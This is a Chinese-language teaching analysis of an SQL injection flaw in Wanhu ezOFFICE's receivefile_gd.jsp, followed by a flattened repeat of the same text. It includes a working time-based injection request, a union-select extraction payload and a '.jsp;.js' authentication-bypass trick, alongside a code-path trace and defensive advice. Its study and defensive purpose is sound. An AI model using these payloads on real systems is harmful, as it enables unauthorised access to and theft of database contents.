万户ezOFFICE receivefile_gd.jsp SQL注入漏洞分析
字数 1934 2025-08-22 22:47:30

万户ezOFFICE receivefile_gd.jsp SQL注入漏洞分析教学文档

漏洞概述

万户ezOFFICE协同管理平台是一款面向企业用户,提供办公自动化和协同办公解决方案的软件。该平台存在一个SQL注入漏洞,位于/defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp文件中,由于参数缺乏过滤,允许攻击者利用漏洞获取数据库敏感信息。

漏洞复现

漏洞请求示例

GET /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?recordId=1;waitfor+delay+'0:0:6'--+- HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

漏洞特征

  • 参数recordId未经过滤直接拼接SQL语句
  • 可通过时间延迟技术验证漏洞存在(如waitfor delay '0:0:6'

漏洞分析

代码执行流程

  1. receivefile_gd.jsp入口

    • 首先检查gd参数是否为空
    • 若为空,进入else分支
  2. 参数处理

    • 创建名为myParaTmp的HashMap集合
    • 以键值对形式存储recordId及其值
  3. WorkFlowButtonBD对象实例化

    • 实例化WorkFlowButtonBD对象
    • 调用delWFOnlineUser方法,传入myParaTmp集合
  4. ParameterGenerator处理

    • 创建ParameterGenerator对象,初始化参数为1
    • 使用put方法传入参数paraMap.class
    • 初始化二维对象数组parameters
    • para存储在parameters[this.counter][0]
    • Map.class存储在parameters[this.counter][1]
    • 返回1
  5. EJBProxy处理

    • 创建EJBProxy对象,初始化参数:
      • "WorkFlowButtonEJB"(EJB名称)
      • "WorkFlowButtonEJBLocal"(本地接口名称)
      • WorkFlowButtonEJBHome.class(EJB主接口的Class对象)
    • 调用父类EJBProxy的构造方法
      • 获取WorkFlowButtonEJBHome.class全限定类名
      • 截取最后一个点之前的内容
      • 拼接WorkFlowButtonEJBBean,得到com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBean
      • 加载并实例化WorkFlowButtonEJBBean
  6. 反射调用

    • 调用EJBProxy对象的invoke方法
      • 传入delWFOnlineUser方法名
      • 传入对象数组parameters
    • 最终反射调用WorkFlowButtonEJBBean类的delWFOnlineUser方法,参数为myParaTmp

SQL注入点

  • WorkFlowButtonEJBBean类的delWFOnlineUser方法中:
    • 直接获取recordId的值
    • 在构造SQL语句时使用了字符串拼接,未进行参数化处理

鉴权绕过分析

鉴权机制

万户ezOFFICE的鉴权代码位于SetCharacterEncodingFilter过滤器中:

  1. 通过getRequestURI()获取URL
  2. 获取文件后缀
  3. 进行权限检查

绕过方法

由于使用getRequestURI()获取URL,可以通过URL截断绕过鉴权:

  • 使用.jsp;.js形式绕过
  • 示例:receivefile_gd.jsp;.js

漏洞利用

利用条件

  • 目标系统使用万户ezOFFICE协同管理平台
  • 存在receivefile_gd.jsp文件
  • 未对recordId参数进行过滤

利用方式

  1. 信息泄露

    • 通过SQL注入获取数据库敏感信息
    • 示例:recordId=1 union select 1,2,user,4,5--
  2. 权限提升

    • 修改数据库中的用户权限信息
  3. 系统控制

    • 通过SQL注入执行系统命令(如果数据库配置允许)

防御措施

  1. 输入验证

    • recordId参数进行严格类型检查和过滤
    • 使用正则表达式限制输入格式
  2. 参数化查询

    • 使用预编译语句替代字符串拼接
    • 示例:使用PreparedStatement
  3. 权限控制

    • 加强鉴权过滤器的实现
    • 对特殊字符进行统一处理
  4. 安全更新

    • 及时更新官方发布的安全补丁
  5. WAF防护

    • 部署Web应用防火墙拦截SQL注入攻击

总结

该漏洞展示了企业级办公系统中常见的SQL注入风险,特别是在使用反射和动态调用时更需注意安全性。开发人员应避免直接拼接用户输入到SQL语句中,而应使用参数化查询等安全编码实践。同时,鉴权机制的设计应考虑到各种绕过可能性,确保系统安全。

万户ezOFFICE receivefile_ gd.jsp SQL注入漏洞分析教学文档 漏洞概述 万户ezOFFICE协同管理平台是一款面向企业用户,提供办公自动化和协同办公解决方案的软件。该平台存在一个SQL注入漏洞,位于 /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp 文件中,由于参数缺乏过滤,允许攻击者利用漏洞获取数据库敏感信息。 漏洞复现 漏洞请求示例 漏洞特征 参数 recordId 未经过滤直接拼接SQL语句 可通过时间延迟技术验证漏洞存在(如 waitfor delay '0:0:6' ) 漏洞分析 代码执行流程 receivefile_ gd.jsp入口 首先检查 gd 参数是否为空 若为空,进入else分支 参数处理 创建名为 myParaTmp 的HashMap集合 以键值对形式存储 recordId 及其值 WorkFlowButtonBD对象实例化 实例化 WorkFlowButtonBD 对象 调用 delWFOnlineUser 方法,传入 myParaTmp 集合 ParameterGenerator处理 创建 ParameterGenerator 对象,初始化参数为1 使用 put 方法传入参数 para 与 Map.class 初始化二维对象数组 parameters 将 para 存储在 parameters[this.counter][0] 将 Map.class 存储在 parameters[this.counter][1] 返回1 EJBProxy处理 创建 EJBProxy 对象,初始化参数: "WorkFlowButtonEJB" (EJB名称) "WorkFlowButtonEJBLocal" (本地接口名称) WorkFlowButtonEJBHome.class (EJB主接口的Class对象) 调用父类 EJBProxy 的构造方法 获取 WorkFlowButtonEJBHome.class 全限定类名 截取最后一个点之前的内容 拼接 WorkFlowButtonEJB 和 Bean ,得到 com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBean 加载并实例化 WorkFlowButtonEJBBean 类 反射调用 调用 EJBProxy 对象的 invoke 方法 传入 delWFOnlineUser 方法名 传入对象数组 parameters 最终反射调用 WorkFlowButtonEJBBean 类的 delWFOnlineUser 方法,参数为 myParaTmp SQL注入点 在 WorkFlowButtonEJBBean 类的 delWFOnlineUser 方法中: 直接获取 recordId 的值 在构造SQL语句时使用了字符串拼接,未进行参数化处理 鉴权绕过分析 鉴权机制 万户ezOFFICE的鉴权代码位于 SetCharacterEncodingFilter 过滤器中: 通过 getRequestURI() 获取URL 获取文件后缀 进行权限检查 绕过方法 由于使用 getRequestURI() 获取URL,可以通过URL截断绕过鉴权: 使用 .jsp;.js 形式绕过 示例: receivefile_gd.jsp;.js 漏洞利用 利用条件 目标系统使用万户ezOFFICE协同管理平台 存在 receivefile_gd.jsp 文件 未对 recordId 参数进行过滤 利用方式 信息泄露 通过SQL注入获取数据库敏感信息 示例: recordId=1 union select 1,2,user,4,5-- 权限提升 修改数据库中的用户权限信息 系统控制 通过SQL注入执行系统命令(如果数据库配置允许) 防御措施 输入验证 对 recordId 参数进行严格类型检查和过滤 使用正则表达式限制输入格式 参数化查询 使用预编译语句替代字符串拼接 示例:使用PreparedStatement 权限控制 加强鉴权过滤器的实现 对特殊字符进行统一处理 安全更新 及时更新官方发布的安全补丁 WAF防护 部署Web应用防火墙拦截SQL注入攻击 总结 该漏洞展示了企业级办公系统中常见的SQL注入风险,特别是在使用反射和动态调用时更需注意安全性。开发人员应避免直接拼接用户输入到SQL语句中,而应使用参数化查询等安全编码实践。同时,鉴权机制的设计应考虑到各种绕过可能性,确保系统安全。